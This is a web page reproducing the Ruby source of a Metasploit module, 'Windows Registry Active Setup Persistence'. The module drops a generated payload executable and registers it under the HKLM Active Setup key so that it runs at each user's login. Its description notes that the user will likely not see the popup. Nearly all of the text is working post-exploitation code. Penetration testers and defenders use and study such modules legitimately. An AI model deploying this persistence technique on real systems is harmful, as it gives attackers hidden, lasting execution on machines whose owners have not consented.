Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/persistence/registry_active_setup.rb
57457 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Powershell
10
include Msf::Post::Windows::Registry
11
include Msf::Post::File
12
include Msf::Exploit::EXE
13
include Msf::Exploit::Local::Persistence
14
prepend Msf::Exploit::Remote::AutoCheck
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Windows Registry Active Setup Persistence',
21
'Description' => %q{
22
This module will register a payload to run via the Active Setup mechanism in Windows.
23
Active Setup is a Windows feature that runs once per user at login.
24
It triggers in a user context, losing privileges from admin to user.
25
26
Active Setup will open a popup box with "Personalized Settings" and the text
27
"Setting up personalized settings for: <SETUP_NAME>". However
28
this won't occur until the login screen has exited (but before the desktop
29
is loaded), and our execution is extremely fast so likely the user will not
30
see it.
31
},
32
'License' => MSF_LICENSE,
33
'Author' => [
34
'h00die',
35
],
36
'Platform' => [ 'win' ],
37
'SessionTypes' => ['meterpreter', 'shell'],
38
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
39
'Targets' => [
40
[ 'Automatic', {} ]
41
],
42
'References' => [
43
['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
44
['ATT&CK', Mitre::Attack::Technique::T1547_014_ACTIVE_SETUP],
45
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
46
['URL', 'https://hadess.io/the-art-of-windows-persistence/']
47
],
48
'DefaultTarget' => 0,
49
'DisclosureDate' => '2015-12-01',
50
'Notes' => {
51
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
52
'Stability' => [CRASH_SAFE],
53
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS, SCREEN_EFFECTS]
54
}
55
)
56
)
57
58
register_options([
59
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
60
OptString.new('SETUP_NAME', [false, 'Name of the setup program.', 'Update']),
61
])
62
end
63
64
def regkey
65
'HKLM\\Software\\Microsoft\\Active Setup\\Installed Components'
66
end
67
68
def check
69
return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft').include?('PowerShell')
70
71
vprint_good('Powershell detected on system')
72
73
# test write to see if we have access
74
rand = Rex::Text.rand_guid
75
76
vprint_status("Checking registry write access to: #{regkey}\\#{rand}")
77
return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{regkey}\\#{rand}") if registry_createkey("#{regkey}\\#{rand}").nil?
78
79
registry_deletekey("#{regkey}\\#{rand}")
80
81
Msf::Exploit::CheckCode::Vulnerable('Registry writable')
82
end
83
84
def install_persistence
85
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
86
payload_name << '.exe' unless payload_name.downcase.end_with?('.exe')
87
payload_exe = generate_payload_exe
88
payload_pathname = writable_dir + '\\' + payload_name + '.exe'
89
vprint_good("Writing payload to #{payload_pathname}")
90
fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)
91
92
rand = Rex::Text.rand_guid
93
rand = Rex::Text.rand_guid while registry_key_exist?("#{regkey}\\#{rand}")
94
95
print_status("Using installer guid: #{rand}")
96
registry_createkey("#{regkey}\\#{rand}")
97
registry_setvaldata("#{regkey}\\#{rand}", 'StubPath', "cmd /c start \"\" \"#{payload_pathname}\"", 'REG_SZ')
98
registry_setvaldata("#{regkey}\\#{rand}", '', datastore['SETUP_NAME'], 'REG_SZ')
99
100
@clean_up_rc = %(execute -f cmd.exe -a "/c reg delete \\\"#{regkey}\\#{rand}\\\" /f" -H\n)
101
@clean_up_rc << %(execute -f cmd.exe -a "/c reg delete \\\"#{regkey.sub('HKLM', 'HKCU')}\\#{rand}\\\" /f" -H\n)
102
@clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n"
103
end
104
end
105
106